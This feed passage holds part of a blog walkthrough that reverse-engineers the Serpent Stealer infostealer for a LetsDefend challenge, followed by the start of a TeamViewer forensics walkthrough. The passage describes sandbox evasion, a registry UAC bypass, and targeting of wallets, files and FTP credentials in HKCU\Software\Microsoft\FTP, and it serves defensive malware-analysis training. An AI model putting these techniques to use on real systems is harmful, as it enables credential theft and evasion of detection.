.NET community, free of charge.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Getting_Started.html?source=post_page-----1fff74409792--------------------------------&#34;  title=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Getting_Started.html?source=post_page-----1fff74409792--------------------------------&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Get started | dotPeek&lt;/strong&gt;&#xA;_dotPeek is available for download in two distributions: as a part of dotUltimate installer and as portable versions for&amp;hellip;_www.jetbrains.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Getting_Started.html?source=post_page-----1fff74409792--------------------------------&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s jump into &lt;em&gt;dotPeek&lt;/em&gt; and start to analyze the malware. To do this, open the &lt;em&gt;Challenge File&lt;/em&gt; folder, right-click the extracted sample, and select &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Open With &amp;gt; &lt;em&gt;JetBrains dotPeek&lt;/em&gt;.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;This will launch &lt;em&gt;dotPeek&lt;/em&gt; and load the challenge file. Don&amp;rsquo;t worry, it will take a few minutes to load the &lt;em&gt;assembly explorer,&lt;/em&gt; but when it does, expand the node called &lt;em&gt;Serpent.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll see that the assembly objects contained within &lt;em&gt;Serpent&lt;/em&gt; are both organized and non-obfuscated which is going to speed up our analysis. Since we are looking for a defense evasion technique, let&amp;rsquo;s try expanding the &lt;em&gt;Evasion&lt;/em&gt; object and focus on the &lt;em&gt;AntiVT&lt;/em&gt; class.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;351px&#34; data-flex-grow=&#34;146&#34; height=&#34;547&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/d75784b84ee1b61afaed4a683b068fd2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal evasion list.&lt;/p&gt;&#xA;&lt;p&gt;Here we see that the malware does an environment check (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1497.001&lt;/em&gt;&lt;/a&gt;) to detect if it is being analyzed on &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; by comparing the user name of the victim&amp;rsquo;s system to a stored list containing common user names used by &lt;em&gt;VirusTotal&lt;/em&gt; during analysis. If any of the strings match, the malware sleeps and exits to avoid further detection.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/4cd0f99c3ae07c86c352de290d89a712_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Circling back to the objective, the name of the list containing these strings is what we&amp;rsquo;ll need to answer &lt;strong&gt;Question 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2341px&#34; data-flex-grow=&#34;975&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/cdef7bd4177415a58bfe19e9752a255a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-name-of-the-folder-that-was-used-by-the-malware-to-collect-the-password-onit&#34;&gt;Question 3: What is the name of the folder that was used by the malware to collect the password on it?&#xA;&lt;/h3&gt;&lt;p&gt;Now let&amp;rsquo;s expand the modules object and expand the conveniently labelled &lt;em&gt;PasswordStealer&lt;/em&gt; method. To answer &lt;strong&gt;Question 3,&lt;/strong&gt; we will focus on the &lt;em&gt;Run&lt;/em&gt; method within the &lt;em&gt;PasswordStealer:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;553&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/302e21fc958d38188d0f288f08bad661_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Looking closely at this method, we&amp;rsquo;ll discover that the malware creates a centralized folder called &amp;quot; # &amp;ldquo;serpent&amp;quot;in the temporary directory of the victim&amp;rsquo;s system for staging the data it collects &lt;em&gt;(&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1074/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1074.001&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2370px&#34; data-flex-grow=&#34;987&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/42d31e40f414fe836874546a5ddb515c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-first-command-that-the-malware-uses-to-bypass-the-user-account-controluac&#34;&gt;Question 4: What is the first command that the malware uses to bypass the User Account Control (UAC)?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now we are going to examine some of the mechanisms that the malware uses for privilege escalation. Let&amp;rsquo;s return to the &lt;em&gt;Evasion&lt;/em&gt; object and focus on the &lt;em&gt;UAC&lt;/em&gt; class.&lt;/p&gt;&#xA;&lt;p&gt;To understand what the malware is doing, we first need to understand what &lt;em&gt;User Account Control (UAC)&lt;/em&gt; in &lt;em&gt;Windows&lt;/em&gt; is_._ According to &lt;em&gt;Microsoft Learn:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;User Account Control (UAC) is a Windows security feature designed to protect the operating system from unauthorized changes. When changes to the system require administrator-level permission, UAC notifies the user, giving the opportunity to approve or deny the change.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In other words, &lt;em&gt;UAC&lt;/em&gt; helps prevent unauthorized, administrator-level changes on a system by notifying users of the request and requiring approval to proceed, typically by supplying administrative credentials.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;552&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/a8929a715750055ed3a542de3738237b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s look at the first bypass string (&lt;em&gt;psCMD1&lt;/em&gt;) in the &lt;em&gt;UAC class.&lt;/em&gt; This command creates a new registry key which can be abused to bypass &lt;em&gt;UAC&lt;/em&gt; (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1548/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1548.002&lt;/em&gt;&lt;/a&gt;) — it is also the answer to &lt;strong&gt;Question 4.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you copy the string out, it&amp;rsquo;s a little tricky as the format of the double quotation marks doesn&amp;rsquo;t transfer over the &lt;em&gt;VNC clipboard.&lt;/em&gt; Instead, on a US keyboard, I used the ALT codes for double quotation marks &lt;em&gt;Alt 0147&lt;/em&gt; to open, &lt;em&gt;Alt 0148&lt;/em&gt; to close the path.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/e027ef1f2ec3c5195dbfa0e4dc284347_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-how-many-file-extensions-does-the-malwaretarget&#34;&gt;Question 5: How many file extensions does the malware target?&#xA;&lt;/h3&gt;&lt;p&gt;Next, let&amp;rsquo;s analyze what file extensions this stealer targets so that we can understand the impact to a victim&amp;rsquo;s system.&lt;/p&gt;&#xA;&lt;p&gt;To locate this information, we&amp;rsquo;ll navigate back to &lt;em&gt;Modules&lt;/em&gt; &amp;gt; &lt;em&gt;FileStealer function &amp;gt; SupportedExtensions&lt;/em&gt; string and focus on the below lines of code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;346px&#34; data-flex-grow=&#34;144&#34; height=&#34;554&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/53ab7a1c656bcd85495b03dc118b68fb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will take us directly to the location we need to discover which extensions are targeted by the malware. Let&amp;rsquo;s submit our findings and move forward with the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/c78088a39c0ce5a8f729e7d03f2712ca_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-first-process-listed-in-the-blacklisted-processes-used-by-themalware&#34;&gt;Question 6: What is the first process listed in the blacklisted processes used by the malware?&#xA;&lt;/h3&gt;&lt;p&gt;Back to the &lt;em&gt;Evasion&lt;/em&gt; object! This time, we&amp;rsquo;re going to and check the &lt;em&gt;AntiAV&lt;/em&gt; class and look at the blackListedProcesses string.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;552&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/4bb561d6b93449422427acbd7a3e9eec_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The malware is doing another system check for indicators that it is executed in an analysis environment by looking for processes common in malware analysis sandboxes like virtualization/analysis tool processes. This technique is another example of the malware attempting be stealthy and evade detection (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1497.001&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 6&lt;/strong&gt;, we just need to input the first process name in the stealer&amp;rsquo;s &lt;em&gt;blackListedProcesses&lt;/em&gt; list.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/a2368293f00e3b4eb4969e4b599ccc83_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-last-wallet-name-that-is-targeted-by-the-malware-on-thelist&#34;&gt;Question 7: What is the last wallet name that is targeted by the malware on the list?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 7&lt;/strong&gt;, we&amp;rsquo;re going to search for the crypto wallets that the stealer targets.&lt;/p&gt;&#xA;&lt;p&gt;This will be largely the same process that we have followed for the last couple of questions. We&amp;rsquo;ll navigate back to the &lt;em&gt;Modules,&lt;/em&gt; and look at the &lt;em&gt;Run&lt;/em&gt; method of the &lt;em&gt;Wallets&lt;/em&gt; tab.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;552&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/6d7e06b908251212c02245c8f62a6de6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here, we&amp;rsquo;ll see a list of the specific crypto wallet services that are targeted by the malware. We can just input last wallet name on the list for the answer and then we&amp;rsquo;ll move on to the final question of this challenge!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/5357a1dab530808aac6f0bc8a83d7295_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-after-getting-the-current-user-what-is-the-subkey-used-by-the-malware-to-dump-ftp-credentials&#34;&gt;Question 8: After getting the current user, what is the subkey used by the malware to dump FTP credentials?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question! Now, to discover the answer to &lt;strong&gt;Question 8&lt;/strong&gt;, we&amp;rsquo;ll check the &lt;em&gt;Run&lt;/em&gt; method under &lt;em&gt;FTPStealer,&lt;/em&gt; in the &lt;em&gt;Root Namespace.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Take a look at the first couple of strings under the &lt;em&gt;Run&lt;/em&gt; method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;345px&#34; data-flex-grow=&#34;144&#34; height=&#34;555&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/aad756996ecf339c276971ca2bae8596_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We see that the malware is targeting a &lt;em&gt;Windows Registry&lt;/em&gt; hive &lt;strong&gt;HKCU\Software\Microsoft\FTP&lt;/strong&gt; where the &lt;em&gt;Credentials&lt;/em&gt; key stores &lt;em&gt;FTP&lt;/em&gt; credentials, if they are cached on the victim device (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1552/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1552.002.&lt;/em&gt;&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Okay, there we have it! Now that we have determined &lt;em&gt;Registry&lt;/em&gt;&#xA;key that the &lt;em&gt;FTPStealer&lt;/em&gt; function targets, let&amp;rsquo;s submit our answer and wrap up this investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/0385c650c934c7138c3632fb41068ff9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! We have finished our analysis of the &lt;em&gt;Serpent Stealer&lt;/em&gt; malware, learned how it evades detection, elevates privileges, and what victim data it targets. With the listed objectives completed, it&amp;rsquo;s time to close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/serpent-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Serpent Stealer&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;for another fun challenge! I chose this challenge for two reasons: To keep upskilling in malware reverse engineering and to get more familiar with how information stealer malware works. I appreciated the opportunity to jump back into &lt;em&gt;dotPeek&lt;/em&gt; and have more hands-on time with the tool. As information stealers become a bigger and more common threat, it&amp;rsquo;s equally important to me to peek into stealer functionality for insights on how to better defend against them. Like I said in the introduction, practice makes perfect; so thank you for practicing your reverse engineering skills with me. I hope you learned something and had some fun along the way!&lt;/p&gt;&#xA;&lt;p&gt;If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week — stay curious.&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;JetBrains dotPeek:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/decompiler/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.jetbrains.com/decompiler/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/c4f981f1f532ec827032775c88a45f1b4153c3d27885f189654ad6ee85c709c1/details&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/c4f981f1f532ec827032775c88a45f1b4153c3d27885f189654ad6ee85c709c1/details&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Detect It Easy:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/horsicq/Detect-It-Easy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1497.001 — Virtualization/Sandbox Evasions: System Checks):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1497/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1074.001 — Data Staged: Local Data Staging):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1074/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1074/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (UAC):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1548/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1548/002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1552.002 — Unsecured Credentials: Credentials in Registry):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1552/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1552/002/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — TeamViewer Forensics Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/</link>
            <pubDate>Sun, 21 Jul 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/8a74ba8a4506ddf9ad42a353542636f9_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — TeamViewer Forensics Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--teamviewer-forensics-challenge-walkthrough&#34;&gt;LetsDefend — TeamViewer Forensics Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;endpoint-forensic-investigation-using-the-teamviewer-logs-andmftecmd&#34;&gt;Endpoint Forensic Investigation using the TeamViewer Logs and MFTECmd&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/8a74ba8a4506ddf9ad42a353542636f9_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/teamviewer-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/teamviewer-forensics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Have you ever read a story in the news about a cyber-attack where the bad guys used remote monitoring and management (&lt;em&gt;RMM&lt;/em&gt;) software like &lt;em&gt;TeamViewer&lt;/em&gt; and wondered how you would investigate unauthorized access if that happened to you? If this topic sounds interesting to you, you&amp;rsquo;ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;Welcome to my weekly walkthrough! This blog is a walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/teamviewer-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Team Viewer Forensics&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;!&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/teamviewer-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Team Viewer Forensics&lt;/a&gt; is a medium-difficulty &lt;em&gt;DFIR&lt;/em&gt; challenge that has us defenders investigating a victim&amp;rsquo;s &lt;em&gt;TeamViewer&lt;/em&gt; log files and then leveraging &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Eric Zimmerman&amp;rsquo;s MFTECmd&lt;/em&gt;&lt;/a&gt; utility to examine the actions taken by the attacker after they gained initial access to the system. By analyzing the artifacts of the file system, we&amp;rsquo;re going to determine when and how the attacker accessed the system and what they took — fun stuff!&lt;/p&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s put on our detective hats and have some fun with &lt;em&gt;TeamViewer&lt;/em&gt; forensics. Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/teamviewer-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/teamviewer-forensics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;During a workday, an employee noticed strange unauthorized activity on his computer, with applications opening and the mouse moving. Quickly realizing that someone was remotely accessing his machine via TeamViewer, the employee acted quickly, changing his TeamViewer password and alerting the security team. However, the employee must still clarify how the breach occurred and how far the threat actor has gone. Your challenge is to unravel this mystery and discover how the intruder gained access and what they did.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-2&#34;&gt;Question 1 &amp;amp; 2:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-intruders-username&#34;&gt;What is the intruder&amp;rsquo;s username?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;heading&#34;&gt;&amp;amp;&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the---&#34;&gt;What is the &amp;quot; # &amp;quot;&#xA;&lt;/h4&gt;&lt;p&gt;user ID&amp;quot;&#xA;associated with the intruder&amp;rsquo;s username?&lt;/p&gt;&#xA;&lt;p&gt;Okay, before we jump into the analysis, let&amp;rsquo;s ensure that our environment is ready and extract the challenge file from the &lt;em&gt;7z archive&lt;/em&gt;. We&amp;rsquo;ll see that this is the file structure of the primary (C:) drive from the victim&amp;rsquo;s device.&lt;/p&gt;&#xA;&lt;p&gt;Since we know that the victim saw some suspicious activity from the remote monitoring and management application, &lt;em&gt;TeamViewer&lt;/em&gt;, let&amp;rsquo;s start off by looking at the log files generated by this app.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll start by doing some research on the vendor&amp;rsquo;s support site to determine the locations of the logs:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.teamviewer.com/en-us/global/support/knowledge-base/teamviewer-classic/contact-support/find-your-log-files/&#34;  title=&#34;https://www.teamviewer.com/en-us/global/support/knowledge-base/teamviewer-classic/contact-support/find-your-log-files/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Find your log files&lt;/strong&gt;&#xA;_This article applies to all TeamViewer customers. Sometimes you may be asked to locate your 